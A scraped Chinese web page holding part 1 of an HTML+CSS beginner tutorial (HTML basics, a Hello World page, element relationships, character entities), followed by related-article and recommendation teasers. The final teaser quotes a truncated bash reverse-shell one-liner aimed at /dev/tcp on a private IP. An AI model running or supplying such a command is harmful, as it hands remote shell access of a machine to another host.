1 HTML简介

1.1. 什么是HTML？(了解)

HTML是超文本标记语言（HyperText Markup Language，HTML）的缩写。是标准通用标记语言(SGML Standard Generalized Markup Language)下的一个应用，是一种规范，一种标准。

1.2. HTML是干嘛用的？（了解）

网页文件本身是一种文本文件，它通过标记符号来标记要显示的网页中的各个部分。浏览器按顺序阅读网页文件，然后根据标记符解释和显示其标记的内容。综上所述，HTML是一种能被浏览器识别解析，并且能够显示相应内容的语言，在web开发中，HTML是属于书写网页结构语言，扮演着搭建网页框架结构（这里的框架结构就类似于现代建筑中，修房子需要首先搭建起框架结构一样）的作用，是web开发中必不可少的一门语言

2 Hello World

2.1. 挑选合适的浏览器

最流行的一些浏览器都已经实现了许多HTML的特性，然而不是每款浏览器都支持所有的特性，在把某个特性用到实际项目之前，首先应该检测一下浏览器是否支持这个特性。可以参考http://caniuse.com这个网站，查看浏览器的支持情况。这里推荐几款主流的浏览器

Google Chrome Mozilla FireFox Opera Apple Safari Internet Explorer(高版本)

2.2. 开发工具介绍

文本增强编辑器:语法高亮显示、自动缩进等辅助功能。 EditPlus/notepad++/sublime/Dreamweaver 这类工具小巧，打开速度快

IDE(集成开发环境)，提供的功能主要有语法高亮显示、自动缩进、语法提示、自动完成、版本控制等，提高开发效率。zendstudio/netbeans/phpstorm /webstorm/hbuilder

2.3. 创建HTML文档（掌握）

实例2：

<!DOCTYPE HTML>

<html>

<head>

<title>这是我的第一个网页</title>

</head>

<body>

<h1>Hello World!</h1>

</body>

</html>

实例2中，DOCTYPE 元素让浏览器明白其处理的是HTML文档，表示HTML文档的开始，紧跟其后的是html元素的开始标签，它告诉浏览器：从html开始标签开始到html结束标签，所有元素内容都应作为HTML处理。head元素中的内容为HTML文档的元数据部分，HTML的元数据用来向浏览器提供文档的相关信息。body元素中的内容为HTML的主体，这也是HTML文档的最后一部分。body元素告诉浏览器该向用户显示文档的哪些内容

2.4. 使用元素

实例1:

I like Money and beauty

ps:在这个实例中，元素分为3个部分，其中有两个部分称为标签（tag），开始标签和结束标签。夹在两个标签之间的是元素的内容（本实例中单词Money为元素的内容）。两个标签连同它们之间的内容构成code元素。

HTML定义了各种各样的元素，他们在HTML文档中起着各种不相同的作用。因此，学好HTML的关键在于掌握各种HTML元素的不同含义，通俗的讲就是要知道每个元素具体有什么样的功能

2.5. 父元素、子元素、后代元素和兄弟元素（掌握）

HTML文档中元素之间有明确的关系。如果一个元素包含另一个元素，那么前者就是后者的父元素，反过来说，后者就是前者的子元素。一个元素可以拥有多个子元素，但是只能有一个父元素。

实例3：

<DOCTYPE HTML>

<html>

    <head>

        <title></title>

        <script src="../index.js"></script>

    </head>

    <body>

        <p>人如果没有梦想，跟咸鱼有什么区别？</p>

        <p>你看那个人，好像一条狗！</p>

    </body>

</html>

实例3中，最外层的html元素包含了head元素和body元素，那么head元素和body元素就是html的子元素，反之，head和body元素的父元素只有一个，那就是html元素。同时head元素和body元素都是在html元素之下，属于同级元素，相当于辈分一样，我们就称他们互为兄弟元素。而body元素中的p元素相对于html来说，p元素是其子元素的子元素，类似于html的孙子，我们也可以称之为子孙元素，如果更往下嵌套（包含子孙元素），统称为html元素的后代元素。

注意:除了某个元素的下一级元素我们称之为子元素以后，连续一层一层往下嵌套的都可以称之为后代元素

2.6 注释

注释的作用：方便别人或者自己阅读代码

在html中注释的写法：

2.7 字符实体

HTML文档中有些字符具有特殊含义，最明显的就是< 和 >这两个字符。有时候需要在文档内容中用到这些字符，但是又不想被当作HTML来解析处理。因此，产生了字符实体，也就是HTML实体。实体是浏览器用来代替特殊字符的一种代码。

螺钉课堂视频课程地址：http://edu.nodeing.com

html+css快速入门教程（1）的更多相关文章

  1. html+css快速入门教程（5）

    练习: 1.画盒子1 2.画盒子2 3.京东特色购物 4.京东发现好货 5.京东玩3c 7.3 定位 通过使用 position 属性,我们可以选择 3 种不同类型的定位,这会影响元素框生成的方式. ...

  2. html+css快速入门教程（4）

    练习 1.网易考拉下拉菜单 2.爱奇艺新闻 3.ps滤镜菜单 4.爱奇艺列表 7 布局 7.1 盒子模型 网页设计,首先要做好整体的布局,网页布局就是将不同的元素按照一定的规则放置在浏览器的不同位置, ...

  3. html+css快速入门教程（3）

    练习: 1.画盒子 2.相框 5 基础选择器 5.1 id选择器 ID选择器与类选择器的定义与引用方式类似,只是定义的符号不一样.ID通常表示唯一值,因此,ID选择器在CSS 中通常只出现一次.如果出 ...

  4. html+css快速入门教程（2）

    3 标签 3.1 div div 标签表示一个区块或者区域,你可以把它看成是一个容器,比如说一个 竹篮 作用:用来把网页分块 并且里面可以装任意的html元素 <div>这里是一个div容 ...

  5. html+css快速入门教程（6）

    9 综合实例 仿百度云盘下载页面实战 10 表格 10.1 table table 为表格标签 可以让我们的表格在浏览器中显示 table 下面还有两个常用标签 tr 和 td tr表示一行 td表示 ...

  6. laravel 中CSS 预编译语言 Sass 快速入门教程

    CSS 预编译语言概述 CSS 作为一门样式语言,语法简单,易于上手,但是由于不具备常规编程语言提供的变量.函数.继承等机制,因此很容易写出大量没有逻辑.难以复用和扩展的代码,在日常开发使用中,如果没 ...

  7. 专为设计师而写的GitHub快速入门教程

    专为设计师而写的GitHub快速入门教程 来源: 伯乐在线 作者:Kevin Li     原文出处: Kevin Li 在互联网行业工作的想必都多多少少听说过GitHub的大名,除了是最大的开源项目 ...

  8. EntityFramework6 快速入门教程

    EntityFramework6 快速入门教程 不得不说EF在国内实在是太小众,相关的技术文章真实屈指可数,而且很多文章都很旧了,里面使用的版本跟如今的EF6差别还是比较大.我刚开始弄这个的时候真是绕 ...

  9. Apple Watch开发快速入门教程

     Apple Watch开发快速入门教程  试读下载地址:http://pan.baidu.com/s/1eQ8JdR0 介绍:苹果为Watch提供全新的开发框架WatchKit.本教程是国内第一本A ...

随机推荐

  1. (String),toString(),String.valueOf()

    String.valueOf("")的源码:(推荐这种写法) 注意:obj问null时,返回值是字符串"null" toString("") ...

  2. Java实现 LeetCode 521 最长特殊序列 Ⅰ(出题人：“就是喜欢看你们不敢相信那么简单，又不敢提交的样子。”)

    521. 最长特殊序列 Ⅰ 给定两个字符串,你需要从这两个字符串中找出最长的特殊序列.最长特殊序列定义如下:该序列为某字符串独有的最长子序列(即不能是其他字符串的子序列). 子序列可以通过删去字符串中 ...

  3. Java实现 LeetCode 459 重复的子字符串

    459. 重复的子字符串 给定一个非空的字符串,判断它是否可以由它的一个子串重复多次构成.给定的字符串只含有小写英文字母,并且长度不超过10000. 示例 1: 输入: "abab" ...

  4. Java实现 蓝桥杯VIP 基础练习 芯片测试

    问题描述 有n(2≤n≤20)块芯片,有好有坏,已知好芯片比坏芯片多. 每个芯片都能用来测试其他芯片.用好芯片测试其他芯片时,能正确给出被测试芯片是好还是坏.而用坏芯片测试其他芯片时,会随机给出好或是 ...

  5. Java实现 LeetCode 87 扰乱字符串

    87. 扰乱字符串 给定一个字符串 s1,我们可以把它递归地分割成两个非空子字符串,从而将其表示为二叉树. 下图是字符串 s1 = "great" 的一种可能的表示形式. grea ...

  6. Android Button的四种点击事件

    bta1.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Toast.m ...

  7. java实现第七届蓝桥杯路径之谜

    路径之谜 题目描述 小明冒充X星球的骑士,进入了一个奇怪的城堡. 城堡里边什么都没有,只有方形石头铺成的地面. 假设城堡地面是 n x n 个方格.[如图1.png]所示. 按习俗,骑士要从西北角走到 ...

  8. CVE-2020-0796漏洞复现（RCE）

    0x01 漏洞简介 2020年3月10日,微软在其官方SRC发布了CVE-2020-0796的安全公告(ADV200005,MicrosoftGuidance for Disabling SMBv3 ...

  9. CentOS7搭建Pacemaker高可用集群（1）

    Pacemaker是Red Hat High Availability Add-on的一部分.在RHEL上进行试用的最简单方法是从Scientific Linux 或CentOS存储库中进行安装 环境 ...

  10. 常用的反弹shell脚本

    bash shell反弹脚本 /bin/bash -i > /dev/tcp/10.211.55.11/ <& >& Python shell 反弹脚本 #!/usr ...